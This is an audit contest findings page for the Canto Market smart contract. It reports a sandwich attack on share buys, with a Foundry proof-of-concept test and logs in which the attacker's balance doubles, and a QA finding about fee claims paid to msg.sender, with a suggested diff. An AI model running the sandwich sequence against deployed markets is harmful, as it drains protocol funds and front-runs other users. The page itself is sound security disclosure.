Platform: Code4rena
Start Date: 13/11/2023
Pot Size: $24,500 USDC
Total HM: 3
Participants: 120
Period: 4 days
Judge: 0xTheC0der
Id: 306
League: ETH
Rank: 67/120
Findings: 2
Award: $5.45
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rvierdiiev
Also found by: 0x175, 0x3b, 0xMango, 0xarno, 0xpiken, Bauchibred, DarkTower, ElCid, Giorgio, HChang26, Kose, KupiaSec, Madalad, PENGUN, Pheonix, RaoulSchaffranek, SpicyMeatball, T1MOH, Tricko, Udsen, Yanchuan, aslanbek, ast3ros, bart1e, bin2chen, chaduke, d3e4, deepkin, developerjordy, glcanvas, inzinko, jasonxiale, jnforja, mahyar, max10afternoon, mojito_auditor, neocrao, nmirchev8, openwide, osmanozdemir1, peanuts, pep7siup, peritoflores, pontifex, rice_cooker, rouhsamad, t0x1c, tnquanghuy0512, turvy_fuzz, twcctop, ustas, vangrim, zhaojie, zhaojohnson
1.3743 USDC - $1.37
https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L275
The attacker profited from Market through the sandwich attack, causing Market to lose money.
The attacker listens to the buy request in the Market, the attacker starts another buy transaction before the buy, and claimHolderFee
and sell
after the buy, and the fee obtained by the attacker can be more than the difference between the buy and sell.
Put the test code into market.t.ol and run the test to see the current user's balance increase:
The balance before the attack: 1000000000000000000 The balance after the attack: 2016682666666666662
function testBuySandwich() public { testCreateNewShare(); //The attacker's buy transaction token.approve(address(market), 1e18); console.log(token.balanceOf(address(this))); market.buy(1, 10); console.log(token.balanceOf(address(this))); //Target transaction vm.startPrank(alice); token.mint(alice, 1e70); token.approve(address(market), 1e70); market.buy(1, 100); vm.stopPrank(); //The attacker's `claimHolderFee` and `sell` transaction market.claimHolderFee(1); console.log(token.balanceOf(address(this))); market.sell(1, 10); //The balance after the attack will be larger than before console.log(token.balanceOf(address(this))); } contract MockERC20 is ERC20 { constructor( string memory name, string memory symbol, uint256 initialSupply ) ERC20(name, symbol) { _mint(msg.sender, initialSupply); } //Add mint function function mint(address recver, uint256 amount) public { _mint(recver, amount); } } }
forge test --match-test testBuySandwich -vv
Logs: 1000000000000000000 942400000000000002 978738499999999990 2016682666666666662
Let's take a look at how fees are calculated in the Market:
function _getRewardsSinceLastClaim(uint256 _id) internal view returns (uint256 amount) { uint256 lastClaimedValue = rewardsLastClaimedValue[_id][msg.sender]; amount = ((shareData[_id].shareHolderRewardsPerTokenScaled - lastClaimedValue) * tokensByAddress[_id][msg.sender]) / 1e18; }
shareHolderRewardsPerTokenScaled
will increase buy after talice executes the buy
transaction, lastClaimedValue
and tokensByAddress[_id][msg.sender]
are determined by the buy executed by the attacker before alice executes the buy. The attacker executes the buy using a new account lastClaimedValue
is 0, tokensByAddress[_id][msg.sender]
is the amount the attacker buys,
After obtaining the fee, the attacker executes the sell operation. As long as the fee obtained is more than the cost of buy and sell, the attacker can make profits.
Judging from the price curve used in the test code, the attacker's balance doubled.
vscode manual
Change the way fee is calculated
Other
#0 - c4-pre-sort
2023-11-18T09:49:19Z
minhquanym marked the issue as duplicate of #12
#1 - c4-judge
2023-11-28T23:14:14Z
MarioPoneder changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-11-28T23:17:34Z
MarioPoneder marked the issue as satisfactory
🌟 Selected for report: chaduke
Also found by: 0xpiken, Bauchibred, Matin, MohammedRizwan, MrPotatoMagic, OMEN, Pheonix, SandNallani, T1MOH, Topmark, ZanyBonzy, adriro, aslanbek, ayden, bareli, bart1e, bin2chen, btk, cheatc0d3, codynhat, critical-or-high, d3e4, erebus, firmanregar, hunter_w3b, jasonxiale, kaveyjoe, ksk2345, lsaudit, max10afternoon, merlinboii, nailkhalimov, osmanozdemir1, peanuts, pep7siup, pontifex, sbaudh6, shenwilly, sl1, tourist, wisdomn_, young, zhaojie
4.0797 USDC - $4.08
User may not receive token when claim fees, resulting in loss of user funds. The three claim fee functions in the Market: claimHolderFee claimCreatorFee claimPlatformFee, they all have the same problem.
In general, defi protocols can specify recipients when claiming fees, because msg.sender may not be able to accept the token
The reasons are as follows:
Market#claimHolderFee use msg.sender as the recipient:
function claimHolderFee(uint256 _id) external { uint256 amount = _getRewardsSinceLastClaim(_id); rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled; if (amount > 0) { @> SafeERC20.safeTransfer(token, msg.sender, amount); } emit HolderFeeClaimed(msg.sender, _id, amount); }
claimCreatorFee claimPlatformFee also uses msg.sender as the receiver.
vscode manual
- function claimHolderFee(uint256 _id) external { + function claimHolderFee(uint256 _id,address receiver) external { uint256 amount = _getRewardsSinceLastClaim(_id); rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled; if (amount > 0) { - SafeERC20.safeTransfer(token, msg.sender, amount); + SafeERC20.safeTransfer(token, receiver, amount); } emit HolderFeeClaimed(msg.sender, _id, amount); }
Other
#0 - c4-pre-sort
2023-11-20T08:34:21Z
minhquanym marked the issue as insufficient quality report
#1 - minhquanym
2023-11-20T08:34:29Z
Consider QA
#2 - c4-judge
2023-11-29T16:54:29Z
MarioPoneder changed the severity to QA (Quality Assurance)
#3 - c4-judge
2023-11-29T22:33:58Z
MarioPoneder marked the issue as grade-b